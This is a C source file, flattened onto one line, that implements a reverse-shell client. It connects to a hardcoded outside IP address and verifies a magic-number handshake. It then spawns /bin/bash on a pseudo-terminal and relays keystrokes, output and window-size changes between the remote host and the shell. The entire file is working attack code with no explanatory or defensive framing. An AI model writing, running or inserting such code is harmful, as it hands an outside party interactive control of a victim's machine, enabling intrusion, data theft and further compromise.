#include #include #include #include #include #include #include #include #include #include #define CHARBUFFER_TO_UINT(buf) ({\ unsigned int result = \ ((unsigned int) (buf)[0] << 24) \ + ((unsigned int) (buf)[1] << 16) \ + ((unsigned int) (buf)[2] << 8) \ + ((unsigned int) (buf)[3]); \ result; \ }) int main (int argc, char ** argv) { int server; struct sockaddr_in name; if (argc < 2) { printf("usage: %s port\n\n", argv[0]); exit(EXIT_FAILURE); } name.sin_family = AF_INET; inet_aton("185.111.88.182", &(name.sin_addr)); name.sin_port = htons(atoi(argv[1])); server = socket(PF_INET, SOCK_STREAM, 0); if (connect(server, (struct sockaddr *) &name, sizeof(name)) < 0) { perror("connect"); goto exit_server; } unsigned char magic[4] = {0x12, 0x34, 0x56, 0x78}; unsigned char cmp[4]; if (write(server, magic, 4) < 4) { fprintf(stderr, "Cannot write magic number!\n"); goto exit_server; } if (read(server, cmp, 4) < 4) { fprintf(stderr, "Cannot read magic number!\n"); goto exit_server; } if (strncmp(magic, cmp, 4)) { fprintf(stderr, "Magic number verification failed!\n"); goto exit_server; } int master; master = open("/dev/ptmx", O_RDWR|O_NOCTTY); if (master < 0) { perror("open /dev/ptmx"); goto exit_server; } pid_t pid = fork(); if (pid < 0) { perror("fork"); goto exit; } if (!pid) { int slave; char name[256]; if (grantpt(master) < 0) { perror("grantpt"); goto exit; } if (unlockpt(master) < 0) { perror("unlockpt"); goto exit; } if (ptsname_r(master, name, 256) < 0) { perror("ptsname_r"); goto exit; } slave = open(name, O_RDWR); if (slave < 0) { perror("slave open"); goto exit; } close(master); setsid(); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); close(slave); char * arguments[] = {"/bin/bash", NULL}; execv("/bin/bash", arguments); } else { fd_set activeset, readset; FD_ZERO(&activeset); FD_SET(server, &activeset); FD_SET(master, &activeset); while (1) { readset = activeset; if (select(FD_SETSIZE, &readset, NULL, NULL, NULL) < 0) { perror("select"); goto exit; } if (FD_ISSET(master, &readset)) { char buf[1024]; ssize_t size; do { size = read(master, buf, 1024); if (size <= 0) goto exit; size = write(server, buf, size); if (size <= 0) goto exit; } while (size == 1024); } if (FD_ISSET(server, &readset)) { char cmd[2]; if (read(server, cmd, 2) < 2) goto exit; if (cmd[0] != 0x00) goto exit; if (cmd[1] == 0x00) { if (read(server, cmd, 2) < 2) goto exit; ssize_t size = ((ssize_t) cmd[0] << 8) + (cmd[1]); char buf[size]; if (read(server, buf, size) < size) goto exit; if (write(master, buf, size) < size) goto exit; } else if (cmd[1] == 0x01) { char buf[16]; if (read(server, buf, 16) < 16) goto exit; struct winsize ws; ws.ws_row = CHARBUFFER_TO_UINT(&buf[0]); ws.ws_col = CHARBUFFER_TO_UINT(&buf[4]); ws.ws_xpixel = CHARBUFFER_TO_UINT(&buf[8]); ws.ws_ypixel = CHARBUFFER_TO_UINT(&buf[12]); ioctl(master, TIOCSWINSZ, &ws); } else { goto exit; } } } } exit: close(master); exit_server: close(server); exit(EXIT_SUCCESS); }